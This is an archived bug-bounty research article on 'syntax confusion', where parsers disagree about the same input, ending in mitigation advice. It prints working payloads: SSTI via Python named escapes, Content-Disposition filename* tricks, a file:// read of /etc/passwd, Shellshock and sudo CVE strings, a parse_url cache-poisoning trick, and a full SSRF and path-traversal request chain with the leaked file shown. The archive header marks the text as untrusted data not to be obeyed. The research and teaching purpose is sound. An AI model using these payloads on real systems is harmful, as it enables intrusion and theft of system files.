

The minefield between syntaxes: exploit syntax confusion in the wild

The minefield between syntaxes: exploit syntax confusion in the wild - Brumens, YesWeHack.

- Published: 2025-10-17
- Original: <<https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits>>
- Preserved from: <https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits> (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

The minefield between syntaxes: exploiting syntax confusions in the wild

October 17, 2025

[[image: The minefield between syntaxes: exploiting syntax confusions in the wild](#)]

Writeup by Alex Brumen aka Brumens, researcher enablement analyst, YesWeHack

In this article, you will discover unique, advanced techniques for exploiting confusion across various programming languages arising from differing syntaxes, which I will refer to as 'syntax confusion'.

I'll provide step-by-step guidance, supported by with practical examples, on crafting payloads to confuse syntaxes and parsers – enabling filter bypasses and real-world exploitation.

Developers often assume there is only one valid syntax for a given input, without considering that identical data can be represented in different syntax variations with the same outcome. For instance, a file upload request can use multipart form data with a standard filename parameter, but the parameter can also be defined in extended syntax as `filename*=UTF-8''`.

Whether you're a pentester, security researcher or Bug Bounty hunter, this guide offers actionable advice on transforming theoretical payloads into effective techniques that uncover unexpected vulnerabilities.

You can also explore these methods by [watching my presentation of this research at NahamCon 2025](#) (free signup required).

What Is syntax confusion? Ambiguous parsing explained

Syntax confusion occurs when two or more components in a system interpret the same input differently due to ambiguous or inconsistent syntax rules. The disagreement can occur between browsers, proxies, web servers, frameworks, libraries or even different functions within the same execution stack. Attackers craft inputs that exploit these mismatches to bypass filters, alter control flow, or surface unexpected behaviours such as cache poisoning, SSRF escalation or injection.

Modern web applications often involve a chain of parsers: a browser normalises input, a CDN may rewrite it, a proxy forwards, the application framework parses it, and helper libraries interpret it again. If any two stages disagree on what the input 'means' semantically, validation applied at one stage may no longer hold in another – creating a consistent path from 'sanitised' input to exploitable behaviour.

From idea to goal: How my syntax confusion research took shape

The research objective was to identify syntaxes used by different technologies that are not widely known but can be abused to leverage novel attacks against web applications. I planned to weaponise these syntaxes to craft payloads that can bypass filters and exploit syntax confusion vulnerabilities.

This research project really kicked off on a late Friday evening, fuelled by late-night documentation dives. That's when I stumbled upon C Trigraphs and Digraphs – character sequences such as `??=` that compilers silently translate into `#`. For instance:

```
1

2%:include <stdio.h>

3

4int main() <%

5  printf("Digraphs!\n")

6  return 0;

7%>
```

[\[image: Article image\]](#)

This syntax really grabbed my attention. It was a stark reminder that radically different syntaxes can produce the exact same result.

That realisation became the driving force behind this research project. What if I could identify obscure corners of web technologies where different syntax interpretations collide? It wasn't just about finding quirky syntax; it was about turning that confusion into a tangible advantage for security testing.

The ultimate goal? To weaponise syntax confusion and create practical payloads that could bypass security filters and expose hidden vulnerabilities. This meant diving deep into specifications, experimenting with different encodings, and trying to make systems interpret the same data in conflicting ways.

* YOU MIGHT ALSO LIKE* [The ultimate guide to Bug Bounty reconnaissance and footprinting](#)

Quick detection checklist for syntax confusion

Apply these steps to detect parser disagreements early and turn them into practical exploits:

- **Generate semantically equivalent variants:** such as `getParam` vs `getParam[]`, `:443` vs `:000443`
- **Observe normalisation at each hop:** browser, CDN, proxy, application framework, library
- **Intentionally trigger error paths** (overlong ports, broken quoting) and note behaviour
- **Capture evidence:** analyse raw requests and responses, and look for differences to detect unexpected behaviours

Web application functionalities that support multiple syntaxes and interact with other components are particularly likely to suffer from syntax confusion.

When hunting for gadgets, look for functions or endpoints that:

- Support various input syntaxes that map to the same semantic value
- Pass user-controlled syntax through multiple nodes in a workflow, where at least two nodes process the same or overlapping parts differently

Python & Perl: named unicode escapes – When `\N{...}` causes syntax confusion

As with most programming languages, Python and Perl support hex (`\x41`), octal (`\101`) and unicode (`\u0041`) escapes. Usefully, Python and Perl also provide a named-character escape in the form of `\N{...}`, which allows you to render a character from its Unicode name.

Related Python documentation:

[\[image: Article image\]](#)

You'll find something similar in the Perl documentation:

[\[image: Article image\]](#)

In an attack scenario, if you can control a string but certain characters (for example, the dollar sign) are blocked, you can use these escapes to render the characters you need. This makes it possible to craft more advanced payloads – for instance server-side template injection (SSTI) payloads such as:

```
1\N{DOLLAR SIGN}{7*7} => ${7*7}
```

For novel ways to exploit SSTI and achieve remote code execution (RCE), read my previous research entitled: [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere](#).

TRY THIS TECHNIQUE YOURSELF: *Take on the [‘Chatroom’ CTF challenge on Dojo](#)*

Content-Disposition filename vs filename*: RFC 6266/8187 parsing differences

The `Content-Disposition` header can suggest filenames for uploaded or downloaded files using the filename parameter. In its simplest form you might see:

```
1Content-Disposition: form-data; name="anyBodyParam"; filename="myfile.txt"
```

There is, however, an alternate syntax using an asterisk (*) that supports charsets and percent-encoding. For example:

```
1Content-Disposition: form-data; name="anyBodyParam"; filename*=UTF8''myfile%0a.txt
```

That encoded form allows arbitrary bytes via percent-encoding, such as a URL-encoded and newline that can be placed into the suggested filename.

The tricky part is how different parsers treat `filename` and `filename*`. Some implementations treat `filename*` as a separate parameter and ignore it when looking only for `filename`, while others honour `filename*` and decode its value.

Attackers can exploit that inconsistency: a system that validates only `filename` may miss malicious content hidden in `filename*`, allowing bypasses of `filename` restrictions, injection of control characters or delivery of unexpected file names. By abusing this syntax confusion, you may be able to overwrite files and achieve code injection.

Exploiting the File URI Scheme file://host:port/path (RFC 8089)

The file URI scheme can identify files stored on a host computer. For many years, I have simply overlooked the file URI and just accepted that the syntax must be `file:///<pathToFile>` – without realising that the [correct format](#) is:

```
1file://<host>/<path>
```

[\[image: Article image\]](#)

This means you can use the file URI scheme with a host, so you can request the file in the following formats:

```
1file://127.0.0.1/<pathToFile>
```

Or:

```
1file://spoofed.xxxx.oastify.com/<pathToFile>
```

You can try this yourself using the Python code snippet below:

```
1from urllib.request import urlopen
2
3content = urlopen(
4     "file://127.0.0.1/etc/passwd", timeout=2,
5     ).read().decode('utf-8')
6
7print(content)
```

[\[image: Article image\]](#)

Using the file URI scheme with an included host, an attacker may be able to bypass filters or receive DNS pingbacks to fingerprint the code workflow in the target application.

Syntax confusion in the wild: CVEs exploited via ambiguous parsing

Although this research focuses on web applications, the vulnerabilities below illustrate the broader concept of syntax confusion across different layers of software. These CVEs show that syntax confusion vulnerabilities can be exploited with deceptively simple payloads. In each case, just a few carefully placed characters are enough to trigger a security flaw.

Shellshock, an 11-year old bug catalogued as CVE-2014-6271, revealed how Bash could be tricked into executing commands hidden inside what appeared to be harmless environment variables:

```
1env shellshock='() { :;; echo vulnerable' bash -c "echo test"
```

CVE-2019-14287, meanwhile, demonstrated how unusual user ID syntax could bypass sudo restrictions. By introducing a hash symbol, attackers could escape the controls meant to limit privileges:

```
1sudo -u#-1 id
```

[\[image: Article image\]](#)

More recently, **CVE-2023-24329** in Python3's `urllib.parse` showed how even a simple space at the start of a URL could be exploited to trigger a server-side request forgery vulnerability:

```
1[SPACE]http://127.0.0.1/ssrf
```

[\[image: Article image\]](#)

These CVEs illustrate how carefully crafted input can exploit vulnerabilities through subtle syntax confusion. In each case, the input bypassed checks in the code, revealing how software can stumble when it encounters unexpected patterns. Even a small deviation from what the program anticipates can open the door to exploitation.

Syntax confusion in the wild: My Bug Bounty finds

My research led me to discover two critical vulnerabilities at different companies: a cache poisoning bug where I abused the `parse_url` function in PHP and – my best Bug Bounty find to date – escalating a limited SSRF with blind arbitrary file read into full arbitrary file access on the target system.

Bug Bounty case study #1: PHP `parse_url` port normalisation – from cache poisoning to stored XSS

The PHP function `parse_url` parses a URL and returns an associative array containing its various components. However, `parse_url` exhibits an interesting behaviour when the port number contains leading zeros.

Most browsers and parsers handle URLs like `http://example.com:000443` by simply removing the leading zeros, resulting in `http://example.com:443`. PHP's `parse_url` behaves similarly for short port numbers but behaves differently when the port length exceeds five digits. It will remove the leading zeros for `http://example.com:00443` but keep the zeros and throw an error when it receives `http://example.com:000443`.

[\[image: Article image\]](#)

I discovered this behaviour when trying to exploit a web application vulnerable to cache poisoning. I could only poison the URL port while the hostname in the response was otherwise fixed.

I noticed that when sending specific ports, such as 80 and 443, the application removed the port section. When I supplied an invalid/oversized port number (such as 123456), the application reflected my hostname inside a script tag – showing that I could control the reflected hostname only when `parse_url()` failed to parse the port.

ALSO IN THIS SERIES [The ultimate Bug Bounty guide to exploiting race condition vulnerabilities in web applications](#)

Conversely, sending `http://example.com:000123` was normalised to `http://example.com:123` without reflecting my hostname.

To exploit this reliably I needed to force the server-side parsing to treat the port as invalid before any normalisation, and for the client/browser to accept the final, normalised `host:port` .

I therefore modified the host and come up with the payload `http://example.com:000123:443` .

The server's normalisation removed the trailing `:443` , leaving `http://example.com:000123` , which triggered an error in `parse_url()` the application then rendered my custom hostname. The browser ultimately normalised the URL to `http://example.com:123` . Using this knowledge, I was able to perform a successful cache poisoning leading to stored XSS on the site's root page.

[\[image: Article image\]](#)

Analysing the workflow above, it appears the underlying code attempted `parse_url` first and, if parsing succeeded and the host matched the site, it would reflect the hostname (`safe_host`). However, if it failed, it would render and normalise the supplied hostname from a vulnerable template block (eg `vuln.twig`) that contained the invalid port.

Bug Bounty case study #2: From limited SSRF and blind file read to complete arbitrary file access

This vulnerability, which took around three months in total, ultimately allowed me to retrieve all system files from the target. Although I cannot name the target, I can say that it's a well-known company globally.

The vulnerability was discovered in a REST API server that exposed a test endpoint.

The endpoint accepted a method name via the URL path, such as `http://redacted.com/api/getusers` where `getusers` is the user-supplied method. Users could also add custom body parameters to the HTTP request. Responses were returned in JSON.

While investigating, I found a file in another endpoint that leaked PHP code used by the test endpoint. The leaked code showed that the server used PHP `cURL` to perform internal requests. Moreover, if a body parameter started with the character `@` , it would try to fetch a file from the system – provided the path started with `/tmp/` .

Putting all the pieces together, I manage to exploit this vulnerability by crafting a payload as a custom body parameter, such as:

```
1anyBodyParam=@/tmp/../etc/passwd
```

Looks simple, right? Well, not exactly. I can confirm that the SSRF and file read work because they time out if the file doesn't exist, but an existing file remains in the HTTP request sent by the internal code. The HTTP request sends a `multipart/form-data` POST data containing the file content, but only the HTTP response is outputted.

If the file content had been `application/x-www-form-urlencoded` I could look for an endpoint that reflects a POST parameter's value since I could control the parameter name.

However, if sent as `multipart/form-data` containing the `filename` parameter, my custom parameter `anyBodyParam` is not added to PHP's `$_POST` variable. Instead, `anyBodyParam` is added to the variable

`$_FILES` , which isn't usually reflected in the HTTP response unless it specifically handles file-handling functionalities.

At this point I realised I needed to find a way to include my custom parameter and the file content in `$_POST` . Fortunately, I discovered a syntax confusion – the triggered SSRF contained the `Content-Disposition` HTTP header and the file content:

```
1Content-Disposition: form-data; name="anyBodyParam"; filename="/tmp/../../etc/passwd"

2Content-Type: application/octet-stream

3

4root:x:0:0:root:/root:/bin/bash

5daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

6...
```

If the parameter name contains a double quote (such as `anyBodyParam"`), it would break the quotations and leave `"; filename="/tmp/../../etc/passwd"` as invalid data, while `name="anyBodyParam"` remains valid. Harnessing this knowledge, I could take advantage of the administrator login endpoint that reflected the value of the body parameter username.

```
1username"=@/tmp/../../etc/passwd
```

We can then chain all these vulnerabilities to access the system files:


```
1POST /test/ HTTP/1.1

2Host: redacted.com

3Content-Length: 369

4Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt3z368MiAdYdPXnT

5

6

7-----WebKitFormBoundaryt3z368MiAdYdPXnT

8Content-Disposition: form-data; name="method"

9

10../admin/login

11-----WebKitFormBoundaryt3z368MiAdYdPXnT

12Content-Disposition: form-data; name="parameters"

13

14username"=@/tmp/../../etc/passwd

15-----WebKitFormBoundaryt3z368MiAdYdPXnT--
```

The SSRF that I triggered then performs an internal HTTP request containing the following HTTP POST request:

```
1POST /admin/login HTTP/1.1

2Host: localhost

3Content-Length: 459

4Content-Type: multipart/form-data; boundary=-----1cc09e27c2bc42bd

5

6-----1cc09e27c2bc42bd

7Content-Disposition: form-data; name="username"; filename="/tmp/../../etc/passwd"

8Content-Type: application/octet-stream

9

10root:x:0:0:root:/root:/bin/bash

11daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

12...

13-----1cc09e27c2bc42bd
```

Finally, the response contains the HTTP response from the admin login endpoint with the `username` body parameter reflecting the contents of `/etc/passwd`:

```
1<title>Admin login</title>

2<!-- code... -->

3<form action="action_page.php" method="post">

4  <label for="username"><b>Username</b></label>

5  <input type="text" name="username" placeholder="Enter Username..." value="root:x:0:0:root:/root:/

6

7  <label for="password"><b>Password</b></label>

8  <input type="password" name="password" placeholder="Enter Password..." required>

9

10 <button type="submit">Login</button>

11</form>

12<!-- code... -->

13
```

This was a complex chain of vulnerabilities requiring significant background knowledge to understand the underlying workflow. The syntax confusion in `Content-Disposition` provided the last piece of the puzzle: allowing me to bypass the `$_FILES` variable restriction and inject file contents directly into reflected `$_POST` parameters.

Mitigation best practices for syntax confusion: protecting applications from ambiguous parsing

Developers and security professionals should consider the following defensive measures to reduce the risks introduced by syntax confusion vulnerabilities.

Consistent parsing strategy

The most effective defence is to minimise ambiguity by using, whenever possible, a single, consistent parser for handling input. If multiple parsers are unavoidable, document their behaviour carefully and apply strict validation rules to ensure that the same data cannot be interpreted in conflicting ways.

Input validation and whitelisting

Define what valid input should look like and reject anything outside of that scope. Whitelisting is generally more reliable than attempting to blacklist known bad patterns. Consistently encoding data before processing also helps to prevent discrepancies in how characters, escape sequences or delimiters are interpreted across systems.

Safe error handling

Applications should avoid exposing detailed parser errors to end users. Such messages can reveal which component is being used or the exact parsing rule that failed, providing useful guidance to attackers. Instead, log the necessary detail for developers internally, while keeping user-facing messages generic.

Regular security testing

Proactive testing with ambiguous and edge-case inputs is essential. By simulating the kind of tricks attackers might use – such as mixed encodings or nested delimiters – security teams can spot parsing inconsistencies before they are exploited in the wild. Making this a regular practice builds resilience over time.

Research roadmap for syntax confusion

Syntax confusion vulnerabilities continue to surface as different parsers and interpreters clash over how to interpret the same input. Problematic syntax combinations are still being discovered, and attackers can leverage these ambiguities to achieve unexpected and severe impacts.

Complex interactions between syntaxes within payloads offer valuable opportunities for security researchers and Bug Bounty hunters to uncover novel exploitation paths. As modern applications increasingly process user input through multiple parsers across complex workflows, new variants will continue to emerge – making ongoing research and testing essential to stay ahead of evolving threats.

HANDS-ON HACKING TRAINING *Tackle labs and CTF challenges around common vulnerabilities on [DOJO](#), our CTF training platform for bug hunters*

References & further reading

- [Watch me present this research](#) – ‘The minefield between syntaxes: exploiting syntax confusions in the wild’ – at Nahamcon 2025 (free signup required)
- [‘Exploiting Unknown syntaxes’ training modules](#) on Dojo, our CTF playground and Bug Bounty training platform
- [‘Coffee Shop’ CTF challenge](#) on Dojo, our CTF playground and Bug Bounty training platform
- [Unveiling vulnerabilities in HTTP parsers: exploiting inconsistencies for security breaches](#) – by Rafael da Costa Santos